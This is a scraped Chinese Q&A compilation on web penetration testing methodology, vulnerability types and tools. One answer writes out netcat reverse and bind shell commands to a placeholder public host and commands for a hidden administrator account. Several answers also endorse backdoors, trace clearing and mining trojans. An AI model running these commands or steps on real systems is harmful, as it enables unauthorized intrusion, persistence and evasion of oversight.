當前位置:首頁 » 網頁前端 » web滲透測試詳解
擴展閱讀
poi從資料庫導出excel文件 2022-09-25 13:18:54

web滲透測試詳解

發布時間: 2022-08-11 09:06:22

① 網站滲透測試,怎麼進行

1.信息收集:

1)、獲取域名的whois信息,獲取注冊者郵箱姓名電話等。

2)、查詢伺服器旁站以及子域名站點,因為主站一般比較難,所以先看看旁站有沒有通用性的cms或者其他漏洞。

3)、查看伺服器操作系統版本,web中間件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞。

4)、查看IP,進行IP地址埠掃描,對響應的埠進行漏洞探測,比如 rsync,心臟出血,mysql,ftp,ssh弱口令等。

5)、掃描網站目錄結構,看看是否可以遍歷目錄,或者敏感文件泄漏,比如php探針。

6)、google hack 進一步探測網站的信息,後台,敏感文件。

2.漏洞掃描:

開始檢測漏洞,如XSS,XSRF,sql注入,代碼執行,命令執行,越權訪問,目錄讀取,任意文件讀取,下載,文件包含, 遠程命令執行,弱口令,上傳,編輯器漏洞,暴力破解等。

3.漏洞利用:

利用以上的方式拿到webshell,或者其他許可權。

4.許可權提升:

提權伺服器,比如windows下mysql的udf提權,serv-u提權,windows低版本的漏洞,如iis6,pr,巴西烤肉, linux藏牛漏洞,linux內核版本漏洞提權,linux下的mysql system提權以及oracle低許可權提權。

5.日誌清理:

結束滲透測試工作需要做的事情,抹除自己的痕跡。

需要規避的風險:

1. 不執行任何可能引起業務中斷的攻擊(包括資源耗竭型DoS,畸形報文攻擊,數據破壞)。

2. 測試驗證時間放在業務量最小的時間進行。

3. 測試執行前確保相關數據進行備份

4. 所有測試在執行前和維護人員進行溝通確認。

② 如何進行Web滲透測試

什麼是滲透測試?

滲透測試,是滲透測試工程師完全模擬黑客可能使用的攻擊技術和漏洞發現技術,對目標網路、主機、應用的安全作深入的探測,發現系統最脆弱的環節。

如何進行Web滲透測試?

完整web滲透測試框架當需要測試的web應用數以千計,就有必要建立一套完整的安全測試框架,流程的最高目標是要保證交付給客戶的安全測試服務質量。

1、立項:項目建立,時間安排,人力分配,目標制定,廠商介面人確定;

系統分析&威脅分析:針對具體的web應用,分析系統架構、使用的組件、對外提供的介面等,以STRIDE為威脅模型進行對應的安全威脅分析,輸出安全威脅分析表,重點關注top3威脅;

制定測試用例:根據威脅分析的結果制定對應的測試用例,測試用例按照模板輸出,具備可執行性;

測試執行&漏洞挖掘:測試用例執行&發散測試,挖掘對應的安全問題or漏洞;

問題修復&回歸測試:指導客戶應用開發方修復安全問題or漏洞,並進行回歸測試,確保安全問題or漏洞得到修復,並且沒有引入新的安全問題;

項目總結評審:項目過程總結,輸出文檔評審,相關文檔歸檔。

2、Web應用的滲透測試流程

主要分為3個階段,分別是:信息收集→漏洞發現→漏洞利用,下面仔細分析一下各個階段流程:

一、信息收集

在信息收集階段,我們需要盡量多的收集關於目標web應用的各種信息,比如:腳本語言的類型、伺服器的類型、目錄的結構、使用的開源軟體、資料庫類型、所有鏈接頁面,用到的框架等

腳本語言的類型:常見的腳本語言的類型包括:php、asp、aspx、jsp等

測試方法:

1 爬取網站所有鏈接,查看後綴

2 直接訪問一個不存在頁面後面加不同的後綴測試

3 查看robots.txt,查看後綴

伺服器的類型:常見的web伺服器包括:apache、tomcat、IIS、ngnix等

測試方法:

1 查看header,判斷伺服器類型

2 根據報錯信息判斷

3 根據默認頁面判斷

目錄的結構:了解更多的目錄,可能發現更多的弱點,如:目錄瀏覽、代碼泄漏等。

測試方法

1 使用字典枚舉目錄

2 使用爬蟲爬取整個網站,或者使用google等搜索引擎獲取

3 查看robots.txt是否泄漏

使用的開源軟體:我們如果知道了目標使用的開源軟體,我們可以查找相關的軟體的漏洞直接對網站進行測試。

測試方法

指紋識別(網路上有很多開源的指紋識別工具)

資料庫類型:對於不同的資料庫有不同的測試方法。

測試方法

1 使應用程序報錯,查看報錯信息

2 掃描伺服器的資料庫埠(沒做NAT且防火牆不過濾時有效)

所有鏈接頁面:這個跟前面的獲取目錄結構類似,但是這個不只是獲取網站的所有功能頁面,有時候還可以獲取到管理員備份的源碼。

測試方法

1 使用字典枚舉頁面

2 使用爬蟲爬取整個網站,或者使用google等搜索引擎獲取

3 查看robots.txt是否泄漏

用到的框架:很多網站都利用開源的框架來快速開發網站,所以收集網站的框架信息也是非常關鍵的。

測試方法

指紋識別(網路上有很多開源的指紋識別工具)

二、漏洞發現

在這個階段我們在做測試的時候要對症下葯,不能盲目的去掃描,首先要確定目標應用是否使用的是公開的開源軟體,開源框架等、然後在做深一度的漏洞掃描。

關於開源軟體的漏洞發現

開源的軟體:常見的開源軟體有wordpress、phpbb、dedecms等

開源的框架:常見的開源框架有Struts2、 Spring MVC、ThinkPHP等

中間件伺服器:常見的中間件伺服器有jboss、tomcat、Weblogic等

資料庫服務:常見的資料庫服務mssql、mysql、oracle、redis、sybase、MongoDB、DB2等

對於開源軟體的測試方法

1 通過指紋識別軟體判斷開源軟體的版本信息,針對不同的版本信息去開放的漏洞資料庫查找相應版本的漏洞進行測試

2 對於默認的後台登錄頁、資料庫服務埠認證等入口可以進行簡單的暴力破解、默認口令嘗試等操作

3 使用開源的漏洞發現工具對其進行漏洞掃描,如:WPScan

關於自主開發的應用

手動測試:這個階段,我們需要手工測試所有與用戶交互的功能,比如:留言、登入、下單、退出、退貨、付款等操作

軟體掃描:使用免費的軟體掃描,如:appscan、wvs、netsparker,burp等

可能存在的漏洞

Owasp關鍵點

代碼安全之上傳文件

代碼安全之文件包含

代碼安全之SSRF

邏輯漏洞之密碼重置

邏輯漏洞之支付漏洞

邏輯漏洞之越權訪問

平台安全之中間件安全

三、漏洞利用

針對不同的弱點有不同的漏洞利用方式,需要的知識點也比較多。一般這個階段包括兩種方式,一種是手工測試,一種是工具測試

手工測試

手工測試是通過客戶端或伺服器訪問目標服務,手工向目標程序發送特殊的數據,包括有效的和無效的輸入,觀察目標的狀態、對各種輸入的反應,根據結果來發現問題的漏洞檢測技術。手工測試不需要額外的輔助工具,可由測試者獨立完成,實現起來比較簡單。但這種方法高度依賴於測試者,需要測試者對目標比較了解。手工測試可用於Web應用程序、瀏覽器及其他需要用戶交互的程序。

這種方式對於有特殊過濾等操作,或者網路上沒有成型的利用工具的時候可以使用。

工具測試

網路上有很多好用的免費利用工具,比如針對sql注入的sqlmap、針對軟體漏洞的matesploit等。

③ web滲透是什麼

Web滲透測試分為白盒測試和黑盒測試,白盒測試是指目標網站的源碼等信息的情況下對其滲透,相當於代碼分析審計。而黑盒測試則是在對該網站系統信息不知情的情況下滲透,以下所說的Web滲透就是黑盒滲透。

Web滲透分為以下幾個步驟,信息收集,漏洞掃描,漏洞利用,提權,內網滲透,留後門,清理痕跡。一般的滲透思路就是看是否有注入漏洞,然後注入得到後台管理員賬號密碼,登錄後台,上傳小馬,再通過小馬上傳大馬,提權,內網轉發,進行內網滲透,掃描內網c段存活主機及開放埠,看其主機有無可利用漏洞(nessus)埠(nmap)對應服務及可能存在的漏洞,對其利用(msf)拿下內網,留下後門,清理痕跡。或者看是否有上傳文件的地方,上傳一句話木馬,再用菜刀鏈接,拿到資料庫並可執行cmd命令,可繼續上大馬.........思路很多,很多時候成不成功可能就是一個思路的問題,技術可以不高,思路一定得騷。

信息收集

信息收集是整個流程的重中之重,前期信息收集的越多,Web滲透的成功率就越高。

DNS域名信息:通過url獲取其真實ip,子域名(Layer子域名爆破機),旁站(K8旁站,御劍1.5),c段,網站負責人及其信息(whois查詢)

整站信息:伺服器操作系統、伺服器類型及版本(Apache/Nginx/Tomcat/IIS)、資料庫類型(Mysql/Oracle/Accees/Mqlserver)、腳本類型(php/jsp/asp/aspx)、CMS類型;

網站常見搭配為:

ASP和ASPX:ACCESS、SQLServer

PHP:MySQL、PostgreSQL

JSP:Oracle、MySQL

敏感目錄信息(御劍,dirbust)

開放埠信息(nmp)

漏洞掃描

利用AWVS,AppScan,OWASP-ZAP,等可對網站進行網站漏洞的初步掃描,看其是否有可利用漏洞。

常見漏洞:

SQL注入

XSS跨站腳本

CSRF跨站請求偽造

XXE(XML外部實體注入)漏洞

SSRF(服務端請求偽造)漏洞

文件包含漏洞

文件上傳漏洞

文件解析漏洞

遠程代碼執行漏洞

CORS跨域資源共享漏洞

越權訪問漏洞

目錄遍歷漏洞和任意文件讀取/下載漏洞

漏洞利用

用工具也好什麼也好對相應漏洞進行利用

如:

Sql注入(sqlmap)

XSS(BEEF)

後台密碼爆破(burp)

埠爆破(hydra)

提權

獲得shell之後我們許可權可能很低,因此要對自己提權,可以根據伺服器版本對應的exp進行提權,對於Windows系統也可看其補丁對應漏洞的exp進行提權

內網滲透

首先進行埠轉發可用nc

nc使用方法:

反向連接

在公網主機上進行監聽:

nc-lvp 4444

在內網主機上執行:

nc-e cmd.exe 公網主機ip4444

成功之後即可得到一個內網主機shell

正向連接

遠程主機上執行:

nc-l -p 4444 -t -e cmd.exe

本地主機上執行:

nc-vv 遠程主機ip4444

成功後,本地主機即可遠程主機的一個shell

然後就是對內網進行滲透了,可以用主機漏洞掃描工具(nessus,x-scan等)進行掃描看是否有可用漏洞,可用msf進行利用,或者用nmap掃描存活主機及開放埠,可用hydra進行埠爆破或者用msf對埠對應漏洞得到shell拿下內網留後門

留後門

對於網站上傳一句話木馬,留下後門

對於windows用戶可用hideadmin創建一個超級隱藏賬戶

手工:

netuser test$ 123456 /add

netlocalgroup administrators test$ /add

這樣的話在cmd命令中看不到,但在控制面板可以看到,還需要改注冊表才能實現控製版面也看不到,太過麻煩,不多贅述,所以還是用工具省心省力。

④ 滲透測試有哪些類型該如何做好滲透測試

滲透測試可以分為:網路滲透測試、Web應用滲透測試、移動應用滲透測試、API滲透測試和物聯網滲透測試這些類型,青藤雲安全的高級安全工程師,有著豐富的滲透測試經驗可以全方位為企業提供安全建議。

⑤ 什麼是wed滲透測試

應該說的是web滲透測試吧。
web就是網站、網站的應用這個層次的。
也就是主要是用於測試網站的安全性的一種安全檢測。

⑥ 什麼是網路滲透測試,高級滲透測試方法

網路滲透測試:

滲透測試是一種最老的評估計算機系統安全性的方法。在70年代初期,國防部就曾使用這種方法發現了計算機系統的安全漏洞,並促使開發構建更安全系統的程序。滲透測試越來越多地被許多組織用來保證信息系統和服務的安全性,從而使安全性漏洞在暴露之前就被修復。

高級滲透測試方法:

模擬黑客攻擊對業務系統進行安全性測試。通過模擬黑客攻擊的方式(無需網站代碼和伺服器許可權),對企業的在線平台進行全方位滲透入侵測試,比黑客更早發現可導致企業數據泄露、資產受損、數據被篡改等漏洞,並協助企業進行漏洞修復,保護企業數據安全。

⑦ web滲透測試是如何進行的

這個是通過多方面的滲透測試進行的,比如說伺服器滲透測試、應用層測試等,具體的網堤安全可以解答。

⑧ 一個完整的滲透測試流程,分為那幾塊,每一塊有哪些內容

包含以下幾個流程:

信息收集

第一步做的就是信息收集,根據網站URL可以查出一系列關於該網站的信息。通過URL我們可以查到該網站的IP、該網站操作系統、腳本語言、在該伺服器上是否還有其他網站等等一些列的信息。

漏洞探測

當我們收集到了足夠多的信息之後,我們就要開始對網站進行漏洞探測了。探測網站是否存在一些常見的Web漏洞,比如:SQL注入 。

漏洞利用

探測到了該網站存在漏洞之後,就要對該漏洞進行利用了。不同的漏洞有不同的利用工具,很多時候,通過一個漏洞我們很難拿到網站的webshell,我們往往需要結合幾個漏洞來拿webshell。

內網滲透

當我們能跟內網主機進行通信後,我們就要開始進行內網滲透了。可以先使用nmap對內網主機進行掃描,探測在線的主機,並且探測其使用的操作系統、開放的埠等信息。

內網中也有可能存在供內網使用的內網伺服器,可以進一步滲透拿下其許可權。

痕跡清除

達到了目的之後,有時候只是為了黑入網站掛黑頁,炫耀一下;或者在網站留下一個後門,作為肉雞,沒事的時候上去溜達溜達;亦或者掛入挖礦木馬。

撰寫滲透測試保告

在完成了滲透測試之後,就需要對這次滲透測試撰寫滲透測試報告了。明確的寫出哪裡存在漏洞,以及漏洞修補的方法。以便於網站管理員根據我們的滲透測試報告修補這些漏洞和風險,防止被黑客攻擊。

⑨ 滲透測試需要學那些知識

web黑客滲透測試入門需要學哪些?

學習web滲透,就是從零散到整體。我們入門門檻比較低,學會用工具就可以了。但是從入門到另一個層次就比較難了,也是大部分腳本小子迷茫的地方。

在web滲透的核心那就是思路,大量的思路來源是來自於自己的知識積累和豐富的經驗。 學而不思則罔思而不學則殆。

當我找到了一個注入點:

首先放進工具一點,工具提示不存在注入。很奇怪,明明是存在的,發個某大牛,某大你不想說話並向你扔了個鏈接,你發現居然爆出了帳號密碼。

太多的人都是處於這個超級小白階段,這個階段處於菜鳥階段,我稱為打哪是哪。

我來問問:

brup suite你會用?你會用來做什麼,爆破?你知道怎麼抓包分析post注入嗎?你知道繞過上傳時brup suite的神奇之處嗎?

sqlmap 你會用?你會用來做什麼,-u?-dbs?你知道怎麼在sqlmap中執行sql語句嗎?你知道sqlmap怎麼反彈shell嗎?

xss 你都懂?你知道xss平台那麼多模塊都有什麼妙用嗎?你知道尖括弧過濾都有哪些繞過方式嗎?

入門學習思考 可能遇到的問題 和新手需知:

你知道svn源代碼泄露是什麼?通過審計代碼能做到什麼嗎?

你知道在發現st2漏洞命令執行時出現目錄限制的時候怎麼突破嗎?有多少種方式可以突破,在什麼樣的場景下容易出現,如果有殺軟怎麼繞過嗎?

你知道在3306允許外鏈的情況下可以爆破嗎?你以為掃描器會把埠的風險都列出來給你嗎?

你知道一個縝密的郵箱偽造&社工可能就能導致網站淪陷嗎?

你知道遇到weblogic等弱口令的時候如何去部署war拿shell嗎?

你知道各種java中間件的埠是哪些嗎?各種反序列化漏洞是怎麼樣快速定位資料庫配置文件的嗎?

你知道http://ASP.NET填充Oracle漏洞的利用方法嗎?你知道掃描器都是誤報嗎?你知道手工怎麼測試漏洞真實存在嗎?

你知道oa系統都有哪些通用注入和無限制getshell嗎?

你知道phpmyadmin可以爆破嗎?什麼樣的版本可以爆路徑,什麼樣的版本幾乎拿不到shell嗎?

太多太多了,我上面提到的也只是web方面的冰山一角,後面的提權、內網等等難題如海。

⑩ web滲透測試工具

第一個:NST
NST一套免費的開源應用程序,是一個基於Fedora的Linux發行版,可在32和64位平台上運行。這個可啟動的Live
CD是用於監視、分析和維護計算機網路上的安全性;它可以很容易地將X86系統轉換為肉機,這有助於入侵檢測,網路流量嗅探,網路數據包生成,網路/主機掃描等。
第二個:NMAP
NMAP是發現企業網路中任何類型的弱點或漏洞的絕佳工具,它也是審計的好工具。該工具的作用是獲取原始數據包並確定哪些主機在網路的特定段上可用,正在使用什麼操作系統,以及識別特定主機的數據包防火牆或過濾器的不同類型和版本正在使用。NMAP對滲透測試過程的任何階段都很有用並且還是免費的。
第三個:BeEF工具
BeEF工具主要利用移動端的客戶,它的作用是用於檢查Web瀏覽器,對抗Web抗擊。BeEF用GitHub找漏洞,它探索了Web邊界和客戶端系統之外的缺陷。很重要的是,它是專門針對Web瀏覽器的,能夠查看單個源上下文中的漏洞。
第四個:Acunetix Scanner
它是一款知名的網路漏洞掃描工具,能審計復雜的管理報告和問題,並且通過網路爬蟲測試你的網站安全,檢測流行安全漏洞,還能包含帶外漏洞。它具有很高的檢測率,覆蓋超過4500個弱點;此外,這個工具包含了AcuSensor技術,手動滲透工具和內置漏洞測試,可快速抓取數千個網頁,大大提升工作效率。
第五個:John the Ripper
它是一個簡單可快速的密碼破解工具,用於在已知密文的情況下嘗試破解出明文的破解密碼軟體,支持大多數的加密演算法,如DES、MD4、MD5等。